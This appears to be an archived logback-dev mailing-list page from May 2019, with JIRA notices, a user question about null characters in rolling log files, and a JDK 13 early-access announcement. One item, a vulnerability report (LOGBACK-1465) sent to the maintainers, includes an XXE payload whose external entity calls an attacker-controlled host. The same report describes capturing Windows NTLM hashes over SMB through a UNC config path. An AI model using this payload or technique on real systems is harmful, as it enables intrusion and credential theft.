- logback-dev - mailman3.qos.ch

[JIRA] (LOGBACK-1465) xxe vulnerability in Logback
by QOS.CH (JIRA) 16 May '19

16 May '19

1 0

[JIRA] (LOGBACK-1465) xxe vulnerability in Logback
by QOS.CH (JIRA) 16 May '19

16 May '19

1 0

Why my logs contain null characters(holes)
by Tianjiao Liu 15 May '19

15 May '19

Hi all, I am using logback(SiftingAppender and RollingFileAppender) in my application. Whenever requests come in, they will be logged to different files according to the id from url query. This is working really well and I get the expected result. However, I noticed occasionally, there are some null characters in the middle of logs. I am not sure why this happens and how to reduce it. I did some research and the closest thing I found is https://serverfault.com/questions/71341/why-do-jboss-and-logrotate-create-l… They are using logrotate with log4j and that results in the null character. However, in my case, the whole log rotate and lifecycle is handled by logback. This is partial of my logback xml configuration: <appender name="SIFT" class="ch.qos.logback.classic.sift.SiftingAppender"><discriminator> <key>id</key> <defaultValue>main</defaultValue></discriminator><sift> <appender name="${id}Rolling" class="ch.qos.logback.core.rolling.RollingFileAppender"> <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy"> <fileNamePattern>${logRoot}/${id}.%d{"yyyy-MM-dd-HH", UTC}.%i.json</fileNamePattern> <maxFileSize>${logSizeLimit}</maxFileSize> <maxHistory>100</maxHistory> <totalSizeCap>20GB</totalSizeCap> </rollingPolicy> <encoder> <pattern>%msg%n</pattern> </encoder> </appender></sift> And in the java code: String jsonOutput = gson.toJson(ping); MDC.put("id", id)); logger.info(jsonOutput); MDC.remove("id"); The output log looks like : {"timestamp":{"seconds":1557048143,"nanos":028000000},"httpRequest":{"status":200,"remoteIp":"111.11.111.111","requestMethod":"GET","requestUrl":" https://my.example.com/?id=testid","userAgent":"Mozilla/5.0 "}} ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@{"timestamp":{"seconds":1557041043,"nanos":318000000},"httpRequest":{"status":200,"remoteIp":"111.11.111.111","requestMethod":"GET","requestUrl":" https://my.example.com/?id=testid","userAgent":"Mozilla/5.0 "}} I am using vim to open it, so it displays null character as ^@. These null characters are appended at the beginning of a real log message. I haven't found a pattern when this will happen. Does anyone have any idea why this happens? Best regards, TJ Liu

1 0

[JIRA] (LOGBACK-745) TimeBasedRollingPolicy does not trigger
by QOS.CH (JIRA) 10 May '19

10 May '19

1 0

[JIRA] (LOGBACK-745) TimeBasedRollingPolicy does not trigger
by QOS.CH (JIRA) 10 May '19

10 May '19

1 0

JDK 13 - Early Access build 20 is available
by Rory O'Donnell 10 May '19

10 May '19

Hi Ceki, *OpenJDK builds *- JDK 13 - Early Access build 20 is available at http://jdk.java.net/13/ * These early-access , open-source builds are provided under the o GNU General Public License, version 2, with the Classpath Exception <http://openjdk.java.net/legal/gplv2+ce.html>. * Changes in this build <http://hg.openjdk.java.net/jdk/jdk/log?rev=reverse%28%22jdk-13%2B19%22%3A%3…> * Release notes [1] *Significant changes since the last availability email* * build 20 o Removal of T-Systems Deutsche Telekom Root CA 2 certificate (JDK-8222137) o Add new FileSystems.newFileSystem methods (JDK-8218875) o Enhance auto vectorization for x86 (JDK-8222074) o Remove CollectorPolicy and its subclasses (JDK-8198505) o Drop support for pre JDK 1.4 SocketImpl implementations (JDK-8216978) * build 19 o add support for generating method handles from a variable symbol (JDK-8222744) o mark new VM option AllowRedefinitionToAddOrDeleteMethods as deprecated (JDK-8222934) * build 18 o Improve String::equals warmup characteristics (JDK-8215017) o [Containers] Improve systemd slice memory limit support (JDK-8217338) Bug fixes for issues reported by Open Source Projects * build 20 o assert(Compile::current()->live_nodes() < Compile::current()->max_node_limit()) failed: Live Node limit exceeded limit (JDK-8219520) o C2: MemNode::can_see_stored_value() ignores casts which carry control dependency (JDK-8219902) o New fix of the deadlock in sun.security.ssl.SSLSocketImpl (JDK-8219991) JEP updates since last email * JEP 350: Dynamic CDS Archives <http://openjdk.java.net/jeps/350> istargeted for JDK 13. * JEP 351: ZGC: Uncommit Unused Memory <http://openjdk.java.net/jeps/351> istargeted for JDK 13 * JEP 353: Reimplement the Legacy Socket API <http://openjdk.java.net/jeps/353> moved to Candidate * JEP 354: Switch Expressions <http://openjdk.java.net/jeps/354> moved to Candidate. OpenJDK Committers’ Workshop, 1–2 August 2019 [2] Rgds,Rory [1] http://jdk.java.net/13/release-notes [2] https://mail.openjdk.java.net/pipermail/announce/2019-April/000269.html -- Rgds, Rory O'Donnell Quality Engineering Manager Oracle EMEA, Dublin, Ireland

1 0

[JIRA] (LOGBACK-745) TimeBasedRollingPolicy does not trigger
by QOS.CH (JIRA) 09 May '19

09 May '19

1 0

testing - please disregard
by Ceki 09 May '19

09 May '19

testing - please disregard -- Ceki Gülcü

1 0

[JIRA] (LOGBACK-1465) xxe and Information disclosure vulnerabilities in Logback
by QOS.CH (JIRA) 09 May '19

09 May '19

shuiboye created LOGBACK-1465: --------------------------------- Summary: xxe and Information disclosure vulnerabilities in Logback Key: LOGBACK-1465 URL: https://jira.qos.ch/browse/LOGBACK-1465 Project: logback Issue Type: Bug Components: logback-core Environment: I test Apache Sling latest version 11 integrating Logback running on windows system Reporter: shuiboye Assignee: Logback dev list Priority: Critical Attachments: image-2019-05-09-15-41-28-419.png, image-2019-05-09-15-41-45-829.png, image-2019-05-09-15-43-09-668.png, image-2019-05-09-15-43-25-103.png Hi,I find xxe and Information disclosure vulnerabilities in Logback when testing Apache Sling latest version 11 integrating Logback. First I login in Sling as an admin. *xxe* The vulnerable url is [http://127.0.0.1:8080/system/console/configMgr/org.apache.sling.commons.log…] In the " Logback Config File " field,I input "\\192.168.0.102\c$\xxe.xml" as shown below. !image-2019-05-09-15-43-09-668.png! The content of the xxe.xml under c:\ directory on the server 192.168.0.102 is {quote}{quote}<?xml version="1.0"?>{quote} {quote}<!DOCTYPE r [{quote} {quote}<!ENTITY % sp SYSTEM "[http://192.168.0.102:8090/sling]">{quote} {quote}%sp;{quote} {quote}]>{quote}{quote} After click "save" ,the netcat running on the server 192.168.0.102 and listening to the port 8090 receives the request as shown below. !image-2019-05-09-15-43-25-103.png! *information disclosure(Windows username and NTLM password hash)* The vulnerable url is [http://127.0.0.1:8080/system/console/configMgr/org.apache.sling.commons.log…] To ensure that the " Logback Config File " can result in the server's Windows username and NTLM password hash being leaked to remote attackers through SMB,I use another machine to visit the vulnerable page whose url is also [http://192.168.0.102:8080/system/console/configMgr/org.apache.sling.commons…] In the " Logback Config File " field,I input "\\192.168.9.128\test".The ip 192.168.9.128 is anthoer machine used to capture smb. !image-2019-05-09-15-41-28-419.png! After click "save" ,the machine whose ip is 192.168.9.128 successfully captures the Windows username and NTLM password hash through SMB. !image-2019-05-09-15-41-45-829.png! -- This message was sent by Atlassian JIRA (v7.3.1#73012)

1 0

[JIRA] (LOGBACK-1404) SizeAndTimeBasedRollingPolicy discards log data
by QOS.CH (JIRA) 01 May '19

01 May '19

1 0